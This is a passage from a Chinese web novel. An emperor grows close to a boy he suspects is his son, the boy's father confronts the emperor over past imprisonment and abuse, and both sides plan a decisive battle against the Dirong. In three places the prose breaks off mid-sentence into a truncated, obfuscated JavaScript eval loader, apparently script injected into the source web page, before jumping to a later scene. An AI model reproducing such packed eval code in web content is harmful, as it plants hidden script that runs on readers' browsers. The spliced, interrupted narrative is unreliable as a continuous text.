“朕要听实话!” 王德全被这声厉喝吓得魂飞魄散,哆嗦着,声音破碎不堪:“回……回陛下……那孩子的眉眼轮廓……九分像陛下您……还有一分……”他像是被掐住了脖子,后面的话卡在喉咙里。 “还有一分像谁?!”宇文尚的声音如同淬了冰,却又带着一丝不易察觉的颤抖。 王德全心一横,闭着眼,用尽全身力气挤出几个字,“那孩子言语间的……神态像……像君后。” “咳!咳咳咳——!”宇文尚猛地爆发出一阵撕心裂肺的咳嗽,脸色瞬间涨红,随即又变得惨白。剧烈的震动牵动了胸口的伤处,剧痛袭来,但他此刻的心神,却完全被王德全的话攫住了! 九分像他!一分神态像良儿! 这世间,怎会有如此巧合?! 巨大的狂喜如同海啸般几乎将他淹没,随之而来的却是更深沉的恐慌和难以置信的荒谬感!一个念头如同闪电般劈开混沌——那孩子……那孩子难道真的是……他和良儿的孩子?! 他强压下翻涌的气血和剧烈的咳嗽,声音凌厉的命令道,“今日之事,你给朕烂在肚子里!绝不可对任何人提起,尤其是……褚良!若有半点风声泄露……” 他后面的话没有说完,但那冰寒刺骨的眼神,让王德全遍体生寒,连连磕头应诺,“老奴明白!老奴明白!老奴就是死,也绝不敢泄露半个字!” 他深知,此事关乎皇嗣,更关乎陛下与君后之间那如履薄冰的关系。陛下这是怕了,怕贸然捅破,会彻底失去那仅存的一线可能。 自那日起,宇文尚的精神如同枯木逢春,以惊人的速度恢复着。 他每日雷打不动地拖着尚未痊愈的身体,处理军政要务,甚至亲自去伤兵营巡视,鼓舞士气。更令人侧目的是,他竟在王德全的陪同下,亲自去探望了仍在养伤的老哈森。 简陋的营帐里,哈森见到皇帝亲临,激动得就要挣扎下床行礼,被宇文尚温和地按住了。 “老丈安心养伤。”宇文尚的声音带着一种从未有过的平和,“朕此番能捡回一条命,也多亏了老丈那日的祈福。”他命王德全送上薄礼——上好的伤药、滋补的药品和皮子布料。 “这些,算是朕谢你一片诚心,也给你压压惊。” 哈森老泪纵横,只会用狄戎语不住地感谢长生天和皇帝陛下的恩德。 宇文尚这看似寻常的举动,落在褚良耳中,让他不禁再次自问——宇文尚真的变了么? 而宇文尚,则将更多的精力,投向了那个溪边的秘密约定。 他果然如约,第二天牵着他那匹神骏非凡、四蹄踏雪的“乌云”来到了溪边。褚昭早已等在那里,看到那匹通体漆黑、唯有四蹄雪白的高头大马,眼睛瞬间亮得像天上的星星。 “好马!”小家伙忍不住赞叹,围着乌云踏雪转圈,想摸又不敢。 宇文尚心中软得一塌糊涂,脸上却保持着温和的笑意,蹲下身,耐心地解答褚昭关于马匹的各种天真问题。待孩子彻底放松,玩得小脸红扑扑时,他才状似无意地问,“你的阿爹是谁?他也会骑马射箭?” 褚昭玩得正高兴,听到这个问题,脸上的笑容一僵,猛地想起阿爹严厉的叮嘱——绝对不能告诉任何人自己的身世,尤其是关于眼睛!他像只受惊的小鹿,眼神躲闪,后退一步,“我……我得走了!不能再说了!”说着就要跑。 “等等!”宇文尚连忙叫住他,声音放得更柔,“明天……还想来看乌云踏雪吗?朕……我还可以教你一点骑马的窍门。” 褚昭的脚步顿住了,大眼睛里充满了渴望,犹豫了一下,用力点了点头。 溪边的秘密会面,成了宇文尚治愈身心的良药。 “想试试吗?”宇文尚笑着问已经连续和乌云踏雪相处过三天的褚昭。 褚昭眼睛亮得惊人,马上跳下石头,“试试!”。 宇文尚忍着伤处的隐痛,先是将褚昭抱上马背,让他感受了一下高度,接着自己也翻身上马,坐在褚昭身后,将他小小的身体护在怀里。他一手控缰,一手稳稳地揽住褚昭。 “坐稳了,追风小骑手!”宇文尚轻笑一声,轻轻一夹马腹。乌云踏雪极通人性,迈开稳健的步伐,在溪边平坦的草地上小跑起来。 风掠过耳畔,视野陡然开阔,褚昭先是紧张地抓住了宇文尚的手臂,随即被这新奇刺激的感觉征服,发出了兴奋的欢呼,“哇——!好快!像飞一样!” 他小小的身体随着马儿的步伐轻轻起伏,紫眸里盛满了纯粹的快乐。 宇文尚感受着怀中孩子真实的喜悦和依赖,胸口的闷痛似乎都减轻了许多。他小心地控制着速度和方向,唯恐颠簸到孩子。跑了几圈,他勒住马,抱着褚昭下来,额角已渗出细密的汗珠,脸色也有些发白,但眼中却满是笑意。 “陛下,你累了吗?”褚昭敏锐地察觉到了,伸出小手想给他擦汗。 宇文尚心中一暖,抓住他的小手,“朕没事。好玩吗?” “太好玩了!”褚昭用力点头,随即又有些不好意思地小声说,“就是……就是比我的追风快太多了。” 宇文尚被他逗笑了,变戏法似的从袖中摸出一个小油纸包,里面是几块宫中御厨特制的、软糯香甜的奶糕点心。“给,跑马消耗力气,吃点甜的补补。” 这是他特意让王德全准备的。 褚昭眼睛一亮,接过点心,小口小口珍惜地吃起来,吃得嘴角都沾上了碎屑,还不忘含糊地说,“谢谢陛下!真好吃!” 那满足的小模样,看得宇文尚心都要化了。 和褚昭日复一日的相处下来,愈发让宇文尚笃定内心的那个猜测,毕竟,他和孩子之间那种莫名的亲近,好感,相互濡慕,是天然的,无须修饰和伪装的自然流露,除了血亲,他想不到别的可能。 尽管孩子不肯告诉他任何身世,甚至连真名都不肯吐露,但王德全已经探得了消息,那孩子每晚,都会去褚良帐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宇文尚的目光扫过军报,脸上的表情从最初的凝重,渐渐变得复杂难辨。他沉默了片刻,才缓缓开口,声音听不出喜怒,“南边……大捷。南朝伪廷,覆灭了。” 帐内先是一静,随即响起一片压抑的抽气声和低低的议论。这是他们多年征伐的目标,本该是普天同庆的消息,可气氛却莫名地沉重。 宇文尚继续道,“伪帝……朕的侄儿宇文钰,与其残部乘船欲遁逃海外……途中遭遇海上风暴,舟覆人亡……尸骨无存。” 他念出“尸骨无存”四个字时,声音几不可察地顿了一下。 帐内彻底陷入了静寂。众将领面面相觑,心情复杂难言。那是陛下的亲侄儿,是曾经的南帝。虽然是对手,是叛逆,但如此年轻就葬身鱼腹,总归令人唏嘘。更微妙的是,小皇帝一死,南朝最后的正统旗帜彻底倒下,北朝一统天下再无阻碍,可这胜利的代价…… 宇文尚挥了挥手,示意众人退下,“战事再议,容后再报。” 将领们无声地行礼告退。宇文尚独自坐在案后,手中捏着那份冰冷的军报,望着帐顶,久久未动。脸上没有任何胜利的喜悦,只有一片沉沉的暮霭。 傍晚,溪边。 褚昭敏锐地察觉到了宇文尚的低落情绪。他放下手里正在给乌云踏雪刷毛的小刷子,凑到坐在石头上的宇文尚身边,仰着小脸问,“陛下,你不开心吗?” 宇文尚看着孩子清澈担忧的紫眸,心中郁结的块垒仿佛找到了一个宣泄的出口。他伸手将褚昭揽到身边,沉默了一会儿,用一种讲述故事般的、极其缓慢而低沉的声音开口, “从前……有一只很强壮也很孤独的大兔子。它有一个小兔子侄儿,很小很小的时候就失去了父母。大兔子虽然不喜欢小兔子的父亲,但看着那么小、那么可怜的小兔子,还是把它带回了自己的窝,细心照顾。” 褚昭依偎在宇文尚怀里,安静地听着。 “小兔子一开始很乖,很依赖大兔子。大兔子教它觅食,教它躲避危险,把它保护得很好。大兔子虽然平时很凶,但对着这只小兔子,却总是很温和。它以为,日子会一直这样下去。”宇文尚的声音带着一丝不易察觉的苦涩。 “可是……渐渐地,森林里开始有流言蜚语。有些坏心眼的狐狸和豺狼,总是偷偷告诉小兔子,说大兔子其实很坏,害死了它的父母,现在养着它,也是为了将来吃掉它。小兔子一开始不信,可听得多了……就开始害怕大兔子,疏远大兔子,甚至……还偷偷在大兔子的食物里下毒草,或者故意把大兔子引到危险的陷阱旁边……” 褚昭的小手不自觉地抓紧了宇文尚的衣襟,小脸上满是紧张和不解,“小兔子为什么要这样?大兔子对它那么好!” 宇文尚轻轻拍了拍褚昭的背,继续道,“是啊,大兔子也很伤心,很困惑。它一次次原谅了小兔子,希望它能明白过来。可是,小兔子被那些坏家伙蛊惑得太深了,它觉得森林里所有动物都在嘲笑它被仇人养大,它越来越偏激,做出来的事情也越来越危险,甚至差点害得整个兔群都遭殃。大兔子没有办法,为了保护其他兔子,只能狠下心,把小兔子赶出了自己的领地……” 褚昭的眼睛里蒙上了一层水汽,“那……那小兔子后来呢?” 宇文尚的声音更加低沉,带着一种深重的疲惫和悲伤,“后来……大兔子听说,小兔子在离开森林,想渡过一条很宽很急的大河时……遇到了可怕的风暴……小船翻了……小兔子……再也没有回来……” 他闭上了眼睛,仿佛能听到那夜海上凄厉的风声。 褚昭感受到宇文尚身上散发出的巨大悲伤,他伸出小手,笨拙地摸了摸宇文尚的脸颊,用稚嫩却无比认真的声音说,“陛下,别难过。小兔子……它去长生天那里了。长生天会照顾它的。大兔子……大兔子保护了其他的兔子,它做得对!它没有错!” 孩子纯真的安慰,像一股暖流,稍稍融化了宇文尚心头的寒冰。他睁开眼,看着褚昭写满关切的小脸,正想说什么。 就在这时,褚昭脸上的表情骤然僵住,大眼睛里充满了惊吓,猛地从宇文尚怀里跳了下来,看向他身后,小脸煞白地喊了一声: “阿爹!” 宇文尚心头剧震,猛地回头! 只见褚良不知何时已站在几步之外的一棵老树下。夕阳的余晖勾勒出他挺拔而冰冷的身影,他的脸上没有任何表情,唯有那双锐利的眼睛,如同淬了寒冰的箭矢,直直地射向宇文尚,那目光里蕴含的寒意和审视,足以让溪水冻结! 空气,在这一刻彻底凝固了。 34. 第 34 章 溪边的空气仿佛凝固成了坚冰。 褚良站在几步开外的老树下,夕阳的余晖在他周身镀上一层冷硬的金边,却驱不散他眼底凛冽的寒意。那双锐利的眼睛,如同最精准的箭矢,穿透了宇文尚,也穿透了褚昭小小的身体。 “昭昭。”褚良的声音不高,甚至算得上平静,却带着一种穿透力,敲碎了褚昭短暂的欢欣和宇文尚心头的暖意。 “过来。” 褚昭的小脸瞬间煞白,他下意识地抓紧了宇文尚的衣襟,紫眸里盛满了惊慌和不舍,怯生生地看了一眼宇文尚,又飞快地看向阿爹那毫无表情的脸。 “过来。”褚良重复了一遍,语气没有任何波澜,却重若千钧。 褚昭不敢再犹豫,松开小手,低着头,小步小步地挪向褚良。每走一步,都像踩在宇文尚的心尖上。他走到褚良身边,小手刚想抓住阿爹的衣角寻求一丝安慰,却被褚良直接握住手腕。那力道不重,却带着一种不容挣脱的强硬。 褚良甚至没有再看宇文尚一眼,仿佛他只是溪边一块无关紧要的石头。他牵着褚昭,转身就走,背影挺直而孤绝,带着拒人千里的冰冷。 褚昭被拉着走开,忍不住一步三回头,那双紫罗兰般的大眼睛望向宇文尚,里面充满了困惑、委屈和不舍。 褚良敏锐地感觉到了儿子的回头。他没有停下脚步,也没有呵斥,只是握着褚昭手腕的力道,几不可察地收紧了一瞬。紧抿的双唇绷成一条冷硬的直线,泄露了他内心翻江倒海的愤怒和恐慌——他最害怕的事情发生了! 宇文尚!这个阴险狡诈的帝王!他竟敢绕过自己,将手伸向昭昭!他用那些小恩小惠,用乌云踏雪,用故作温和的姿态,来蛊惑一个不谙世事的孩子!何等卑鄙!何等下作!他休想!休想把昭昭从自己身边夺走!昭昭是他在这冰冷世间唯一的温暖,唯一的亲人! 宇文尚站在原地,看着那对父子离去的背影,心口如同被重锤猛击,闷痛得几乎窒息。他早想过会有这一天,想过褚良的反应会是如何激烈,但他唯一不想伤害的,就是那个孩子纯净的眼睛。 他深吸一口气,强压下翻涌的情绪,对着褚昭频频回望的小小身影,努力让自己的声音听起来平静温和,“跟爹爹去吧,没事。” 他不能追,不能解释,此刻任何举动都可能火上浇油,伤害到那个敏感的孩子。他只能站在原地,目送他们消失在营帐的阴影里,将所有的苦涩和担忧独自咽下。 两人都在孩子面前,维持了最后一丝体面与克制。 回到褚良那顶弥漫着药草和皮革气息的帐篷,气氛压抑得让人喘不过气。 褚良松开褚昭的手腕,沉默地走到矮榻边坐下。他没有点灯,暮色透过帐帘缝隙,在他脸上投下晦暗不明的阴影。 “阿爹……”褚昭怯生生地唤了一声,小脸上满是忐忑。 “什么时候开始见到他的?”褚良的声音低沉,听不出情绪。 褚昭的心提到了嗓子眼,他知道瞒不住了,小声道,“就……就在溪边打水那天……第一次见到陛下……” 他不敢隐瞒,把从第一次偶遇到约定看马,再到后来宇文尚教他骑马、给他点心的事情,一五一十地说了出来。 末了,他急切地补充道:“阿爹,我答应你的事都做到了!我没有告诉陛下我是谁!我一直戴着帽子,头发藏得好好的!说话的时候也尽量低着头,没让他多看我眼睛!真的!” 褚昭仰着小脸,努力想证明自己的“清白”,大眼睛里闪烁着不安和恳求。 看着儿子急于辩解、生怕被责罚的模样,褚良的心像是被一只无形的手狠狠攥住,疼得他几乎无法呼吸。 他没有责备,只是伸出手,将小小的褚昭拉进怀里,紧紧地抱住。那小小的、温热的身体依偎着他,是他黑暗岁月里唯一的救赎。 “昭昭,”褚良的声音沙哑,带着一种难以言喻的疲惫和痛楚,“你喜欢那个……皇帝叔叔吗?还想跟他玩吗?” 褚昭感受到阿爹怀抱的温暖,紧绷的小身体放松下来,以为阿爹不生气了。他立刻兴奋起来,在褚良怀里扭了扭,仰起小脸,紫眸亮晶晶的,开始滔滔不绝地讲述,“喜欢!陛下他……他好厉害!他的乌云踏雪跑得可快了!他还抱着我骑马,像飞一样!他还给我吃甜甜的点心,可好吃了!他还给我讲大兔子和小兔子的故事……阿爹,陛下其实……其实不像你说的那么可怕,他对我可好了……” 童言童语,天真无邪,充满了对宇文尚纯粹的喜爱和亲近。 褚良静静地听着,脸上甚至努力挤出一丝僵硬的笑意,轻轻抚摸着儿子的头发。然而,那笑意却半分未达眼底。 他的心,正在褚昭欢快的描述中被寸寸凌迟。 宇文尚!他成功了!他用这些廉价的、帝王随手可施的恩惠,轻而易举地捕获了昭昭的心!听着儿子用崇拜的语气讲述那个暴君如何“好”,褚良只觉得一股冰冷的恨意和巨大的恐慌在心底蔓延。他仿佛看到宇文尚带着胜利的微笑,正一点点将昭昭从他身边拉走。 “好了,昭昭,”褚良轻轻打断儿子兴奋的讲述,声音带着一丝不易察觉的颤抖,“不早了,该睡了。” 褚昭意犹未尽,但还是很听话地点点头,“嗯!那我去锋伯伯那里睡。”说着就要从褚良怀里钻出来。 “今晚,”褚良却收紧了手臂,将他牢牢圈在怀里,声音低沉而坚定,“就睡在阿爹这里。以后……都跟阿爹睡。” 褚昭愣住了,随即又惊喜的高兴起来。 自从离开部落的谷底,他就一直在跟锋伯伯睡!阿爹最近总是很忙,或者……心情不好。 能跟阿爹一起睡,是他小小的心里最深的渴望,他立刻欢呼一声,紧紧抱住褚良的脖子,小脸在阿爹颈窝里蹭了蹭,“真的吗?太好了阿爹!” 褚良抱着怀中失而复得般的儿子,感受着他全身心的依赖和喜悦,心却沉到了无底深渊。他用脸颊轻轻蹭了蹭儿子柔软的头发,闭上眼,将所有的痛苦和悲愤都压在眼底。 宇文尚,你休想! 很快,兴奋过后,疲惫席卷了小小的身体。褚昭在阿爹温暖而安全的怀抱里,呼吸渐渐变得均匀绵长,沉沉睡去。他小小的嘴角甚至还带着满足的笑意。 确认儿子睡熟,褚良小心翼翼地将褚昭安置在榻上,盖好薄被。他静静地坐在榻边,凝视着儿子熟睡的、毫无防备的小脸,那双遗传自宇文尚的紫眸此刻紧闭着,长长的睫毛在眼下投下一小片阴影。 许久,他眼中最后一丝柔软也被冰冷的决绝取代。 褚良霍然起身,动作轻捷地掀帘而出,身影如同融入夜色的猎豹,径直走向灯火通明、守卫森严的中军大帐。 大帐门口,宇文尚果然站在那里。他似乎早有预料,负手而立,脸色在灯火下显得比平日更加苍白,只有那双紫眸,深不见底,带着一种近乎孤注一掷的平静。 王德全远远地站在阴影里,忧心忡忡。 褚良大步走到宇文尚面前,两人之间隔着几步的距离,空气却仿佛凝固成了实质。 “屏退左右。”褚良的声音冰冷,如同淬了寒冰,“大帐十米之内,不得留人!” 宇文尚深深地看了他一眼,没有询问,只是微微侧头,对王德全道,“照办。” 他的声音低沉而疲惫。 王德全不敢迟疑,立刻躬身退下,低声喝令周围的侍卫全部退到远处。转瞬间,中军大帐周围陷入一片宁寂,只有帐内透出的灯火和远处巡逻士兵模糊的影子。 帐帘紧闭,隔绝了内外。巨大的空间里,只剩下他们两人,以及那沉重得几乎要将人压垮的、无声的恨意。 “宇文尚!” 褚良压抑了许久的怒火如同火山般爆发出来,声音却压得极低,带着一种撕裂般的嘶哑和刻骨的恨意,“你好手段!好算计!绕开我,去接近一个懵懂无知的孩子?!用你的马,用你的点心,用你那些故作姿态的温和,去蛊惑他?!让他对你亲近,让他觉得你是个好人?!你真是……卑劣到了极点!” 他胸膛剧烈起伏,眼中燃烧着愤怒的火焰,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“宇文尚……”褚良的声音破碎不堪,每一个字都像是从血泪中挤出,“如果没有昭昭……我真想……真想就死在那间冰冷的牢房里!一了百了!” 他猛地抬起眼,那目光中的恨意浓烈得如同实质,“我求过你!我像条狗一样跪在地上求过你!我反抗过!你看看你的手腕!” 他指着宇文尚曾被自己咬伤的手腕位置,“那里!那里还有我的咬痕!那是我最后的挣扎!最后的尊严!” “我逃出来……像个丧家之犬……”褚良的声音颤抖得不成样子,巨大的痛苦让他几乎站立不稳,“在破庙里……早产……血……全是血……我以为……我以为我要死了……我以为昭昭也活不成了……” 那地狱般的景象再次清晰浮现,让他痛不欲生,“宇文尚!你差点……你差点就亲手杀了你自己的儿子!用你的疑心!用你的暴虐!用你那高高在上的冷酷!” 这血泪的控诉,字字泣血,如同最锋利的刀刃,将宇文尚的心剐得血肉模糊!巨大的悔恨和痛苦如同灭顶的洪水将他淹没!他再也支撑不住,踉跄着上前一步,伸出手,想要将眼前这个浑身颤抖、被痛苦和恨意吞噬的人拥入怀中,想要用自己的一切去填补那无底的深渊,“良儿……对不起……对不起……” “啪——!” 一声清脆响亮的耳光,狠狠打断了宇文尚的动作和话语! 褚良用尽了全身力气,这一巴掌打得宇文尚的脸猛地偏向一边,苍白的脸颊上瞬间浮现出清晰的五指红痕。 时间仿佛在这一刻静止了。 褚良的手掌火辣辣地疼,他死死地盯着宇文尚,眼中燃烧着八年来从未熄灭的恨火,一字一句,清晰冰冷地砸在宇文尚的心上,如同八年前死牢里那绝望的诅咒: “宇文尚,我恨你。” “这件事,永远都不会变。” 话音落下,褚良决绝地转身,掀开帐帘,大步走入外面沉沉的夜色中,再没有回头看一眼那个僵立在原地、如同被抽走了所有魂魄的男人。 大帐内,死一般的寂静。唯有宇文尚脸颊上那火辣辣的痛楚,和心口那如同被生生剜去的巨大空洞,在无声地诉说着,这迟来的、血淋淋的审判。 35. 第 35 章 黑石堡的空气,在中军大帐那场惊雷之后,陷入了一种更为凝滞的寒冷。 褚良与宇文尚之间那层勉强维持着合作关系的薄冰,也被彻底击碎。 褚良不再踏入中军大帐半步,对宇文尚的身体状况更是视若无睹,不闻不问。 他如同将自己隔绝在一个冰冻的气泡里,除了必要的军务,与外界再无多余的联系。 然而,他并未阻止褚昭去看望宇文尚。 每日傍晚,那个小小的、戴着严实皮帽的身影,依旧会穿过营区,小心翼翼地出现在宇文尚的帐外。 宇文尚的身体因那夜的情绪激荡出现了反复,低热不退,咳嗽也加剧了,脸色比之前更加苍白。 但每当看到帐帘被掀开一条缝,露出那双怯生生又带着关切的紫眸时,他灰败的脸上便会立刻焕发出光彩,强撑着精神与孩子说笑片刻,将自己最好的一面展现给他。 他恪守着褚良的底线,从不试图摘下褚昭的帽子,也绝口不提任何可能暴露孩子身份的话语。父子间的私下会面,成了宇文尚在冰冷绝望中唯一的光亮,也成了褚良默许下,一种带着痛苦和无奈的妥协——他无法狠心剥夺儿子那份纯粹的依恋,却也时刻被巨大的不安全感啃噬着。 北境的天空,终于阴沉沉地压了下来。 入冬了。 一场凛冽的初雪毫无预兆地席卷了草原,鹅毛般的雪片覆盖了枯黄的草场,气温骤降,呵气成冰。 这场雪对于早已因旱灾而青黄不接的草原来说,无疑是灭顶之灾。没有足够的青储,失去牧场的牛羊在严寒中成片倒下,冻僵的尸体随处可见。 饥寒交迫的阴影同样笼罩在狄戎大军头上。 狄戎王铎冽的营帐内,气氛比外面的风雪更加肃杀。 有限的粮草被严加看管,只供给着他本部嫡系的精锐战马。那些依附于他的小部落首领们,看着自己部族羸弱的马匹在风雪中哀鸣、饿毙,而铎冽却视若无睹,不满和绝望如同毒草般在营地里疯长。 “大王!我们的马快撑不住了!再不给粮草,别说打仗,连迁徙都做不到了!” 一个小部落的首领跪在冰冷的毡毯上,声音嘶哑地哀求。 “撑不住?”铎冽坐在铺着厚厚狼皮的宝座上,眼神冰冷如刀,啜饮着马奶酒,嘴角勾起一抹残忍的弧度,“那就让你们的马去死!活下来的,才是长生天选中的勇士之马!我的粮草,只够喂饱我阿史那部的雄鹰!” 冷酷的话语如同最后的判决。那个小部落首领眼中最后一丝希望破灭,只剩下恨意和绝望。 当夜,风雪最盛之时,这个小部落的首领莫罗,带着残余的族人和还能站立的几百匹马,裹挟着对铎冽的满腔怨恨,趁着守备松懈,悄然拔营,脱离了大部队,向着黑石堡的方向亡命奔逃! 消息如同插上翅膀,很快传到了黑石堡。 中军大帐内,炭火熊熊,宇文尚裹着厚厚的大氅,脸色依旧带着病态的苍白,但眼神却锐利如鹰。他听着斥候的回报,咳嗽了两声,眼中精光一闪,“莫罗……铎冽的粮草分配不公,终于逼反了他。这是天赐良机!传令,打开北门,准备接应!务必将他们安全引入堡内!” 他话音刚落,帐帘被猛地掀开,带着一身寒气的褚良大步走了进来。 他看也没看宇文尚,目光直接扫过沙盘,声音冷冽如外面的风雪,“莫罗的部落我熟悉,他们负责狄戎的布防和哨卡。我去接应,确保他们能活着进来。” 这是自大帐冲突后,褚良第一次主动踏入中军大帐,也是第一次主动请缨任务。他的理由纯粹而直接——为了获得至关重要的情报,为了打击狄戎。 宇文尚看着他冷硬的侧脸,心中百味杂陈,有酸楚,也有一丝难以言喻的欣慰。 他没有阻拦,只是沉声道,“务必小心。铎冽的追兵必然凶残。赵崇,你带一队精骑,听乌其乐首领调遣,随时策应!” “末将领命!”赵崇肃然应道。 风雪如怒,能见度极低。褚良一马当先,率领着云泽部的精锐战士和赵崇的北朝骑兵,如同雪原上的幽灵,悄无声息地迎向逃亡的队伍。他们果然在半途遭遇了铎冽派出的精锐追杀小队。 雪幕之中,箭矢破空,刀光闪烁,厮杀声被狂风撕扯得断断续续。 褚良的箭术在风雪中依旧精准得令人胆寒,硬弓的每一次弦响,必有一名狄戎追兵应声落马。他如同最坚固的盾牌,牢牢护住了惊慌失措、疲惫不堪的莫罗及其族人。 一场短暂而激烈的遭遇战后,狄戎追兵丢下十几具尸体,仓惶退入风雪深处。褚良等人成功将莫罗和他的残部接应到了黑石堡附近的安全地带。 莫罗心存感激,甚至带领族人跪谢乌其乐。 在温暖的大帐内,惊魂未定的莫罗顾不上喝口热汤,便急切地将狄戎内部因粮草引发的剧烈矛盾、各依附部落的怨气和动摇、铎冽本部精锐战马的真实状况,以及几处关键哨卡和薄弱防线的位置,一股脑儿全盘托出。 褚良和宇文尚听着莫罗的讲述,眼神越来越亮。狄戎看似强大的外壳下,内部早已因这场风雪和铎冽的冷酷自私而布满了裂痕,军心涣散,物资匮乏到了极点! “天助我也!”宇文尚忍不住握紧了拳头,因激动又引发一阵咳嗽,但他眼中燃烧着炽热的战意。 他看向褚良,此刻,家恨似乎暂时被共同的敌人和眼前的战机压了下去,“乌其乐首领,此乃决战良机!当趁其内乱,军心不稳,粮草匮乏,一举击溃铎冽主力!” 褚良迎上他的目光,没有回避。 为了云泽部,为了结束这场战争,他必须放下个人恩怨。 他走到沙盘前,手指点向几个关键位置,声音沉稳有力,“莫罗首领的情报至关重要。我建议,兵分三路:一路精锐,由我云泽部熟悉地形的战士带领,绕行雪谷,直插铎冽囤积粮草的后营,断其根本!一路由赵崇将军率领,正面强攻,吸引其主力!最后一路……” 他的手指点在狄戎大营侧翼一处隐蔽的谷地,“由蒙毅将军率最精锐的骑兵,从此处突袭,直捣中军!打掉铎冽的指挥中枢!” 宇文尚凝神听着,迅速补充细节,“风雪虽阻碍我军,亦是掩护!传令全军,即刻准备,三日后子时,风雪最疾时,便是决战之刻!” 两人目光再次交汇,在半空中碰撞出短暂却高度一致的杀伐决断。这一刻,他们仿佛又回到了多年前并肩作战的时光,只是中间隔着八年的血泪与鸿沟。 就在黑石堡紧锣密鼓准备决战之时,狄戎王廷金顶大帐的深处,一场绝密的会晤正在进行。 帐内炭火烧得极旺,驱散了外面的酷寒,却驱不散弥漫的凝重气氛。 大帐中央,只坐着狄戎王铎冽和他最信任的谋士。 厚重的毡帘隔绝了风雪,也隔绝了外界的窥探。 帐帘再次被无声地掀起,一股寒风卷着雪花涌入。两名穿着狄戎服饰、但相貌明显带着中原人特征的精壮武士率先踏入,分立两侧。 随后,一个略显单薄的身影在一位面白无须的老宦官搀扶下,缓步走了进来。 来人褪下沾满雪花的破旧厚皮裘,露出里面依稀能看出暗绣龙纹的锦缎常服。 他面容憔悴,嘴唇冻得发紫,长途跋涉的风霜刻在年轻的脸庞上,带着难以掩饰的疲惫和惊惶。 然而,当他站定,微微抬起下颌时,那双深陷的眼眸中,却陡然射出一种与其落魄外表极不相称的、属于帝王的凌厉与怨毒。 正是传闻中已葬身风暴的南朝皇帝——宇文钰! 搀扶他的老宦官立刻上前一步,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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百箱?!这个数字带来的冲击力实在太大! 此时,宇文惠适时上前一步,对着铎冽和其谋士躬身一礼,声音清晰冷静,带着洞悉局势的笃定,“大王容禀。宇文尚身中奇毒,虽侥幸未死,然元气大伤,根基已毁。据可靠密报,其近日情绪大恸,心悸之症频发,更兼操劳军务,已是强弩之末,战力十不存一!此乃长生天赐予大王的绝佳良机!” 宇文钰紧接着宇文惠的话锋,声音陡然拔高,充满了煽动性的狂热, “不错!只要大王集结全部兵力,在此番决战中,一举将其格杀!宇文尚一死,其麾下群龙无首,北朝必乱!届时,大王挥师南下,宇文尚打下的万里江山,尽归大王所有!” 他张开双臂,仿佛在描绘一幅宏大的画卷,“朕……只求拿回我南朝故土,与大王划江而治,永为兄弟之邦,世代盟好!大王坐拥北地,虎视中原,岂不快哉?!” “万里江山……尽归本王?”铎冽缓缓重复着,鹰目中阴狠的厉芒如同实质般剧烈闪烁。巨大的诱惑如同最甜美的毒药,而宇文惠点出的宇文尚“强弩之末”、“战力十不存一”的致命弱点,更是彻底点燃了他心中复仇和扩张的烈焰! 北朝的富庶土地,南朝许诺的珍宝,还有宇文尚这颗梦寐以求的人头! 所有的野心和仇恨在这一刻交织沸腾。 铎冽猛地站起身,发出一声低沉的、如同猛兽咆哮般的笑声,他死死盯着宇文钰,眼中再无半分疑虑,只剩下赤裸裸的杀意和贪婪。 “好!一言为定!宇文尚的人头,本王要定了!北朝的江山,本王也收下了!宇文钰,记住你的承诺!” 36. 第 36 章 黑石堡的夜,在决战前夜显得格外漫长而沉重。 中军大帐内,炭火噼啪作响,映照着宇文尚苍白却异常沉静的侧脸。他披着厚厚的大氅,坐在案前,面前摊开着一卷明黄的绢帛。他执笔的手很稳,墨迹在绢帛上缓缓流淌,每一个字都凝聚着千钧之重。 王德全侍立在一旁,大气不敢出。 当他看清皇帝正在书写的内容时,老迈的身体猛地一颤,浑浊的眼睛瞬间涌上泪水,扑通一声跪倒在地,声音带着无法抑制的哭腔和恐慌,“陛下!陛下春秋鼎盛,何至于此啊!老奴……老奴求陛下收回成命!” 宇文尚手中的笔并未停顿,他写完最后一个字,轻轻搁下紫毫笔,拿起玉玺,在绢帛下方重重钤下鲜红的印记。那方方正正的“受命于天,既寿永昌”,此刻却透着一股悲壮的意味。 “起来吧,王伴伴。”宇文尚的声音带着一丝疲惫,却异常平和。他将绢帛仔细卷好,装入一个早已准备好的紫檀木匣中,又拿起案上那枚象征着北境最高兵权的虎符,郑重地放入匣内,合上盖子,扣上精巧的黄铜锁。 他这才看向跪在地上泣不成声的王德全,伸手将他扶起,“朕还没死。只是……”他顿了顿,目光透过帐帘的缝隙,仿佛能穿透风雪,看到那个小小的身影,“朕如今有了儿子,这江山社稷,有了传承。立储之事,便是自然而然,早做安排,以防不测。” 王德全泪眼婆娑地看着宇文尚,心中明白,陛下这是将生死置之度外,要为身后事做最坏的打算了。 宇文尚将紫檀木匣郑重地交到王德全手中,“此匣,由你与兵部尚书赵卿共同保管。匣内,是朕的立储遗诏与虎符。” 他看着王德全颤抖着接过木匣,如同接过一座山岳,继续道,“昭昭……褚昭那孩子,良儿将他教养得极好。” 提到褚昭,宇文尚的眼中终于漾开一丝真切而温暖的笑意,连带着苍白的脸色都似乎红润了几分,“他聪慧,小小年纪,学东西极快,陈锋教他辨识草药,他竟能举一反三。他也勇敢,那日随族人去采药,遇到雪狐,竟敢护在众人身前。他在武艺上也颇有天赋,朕教他骑马控缰,一点就透,假以时日,定是一代英主……” 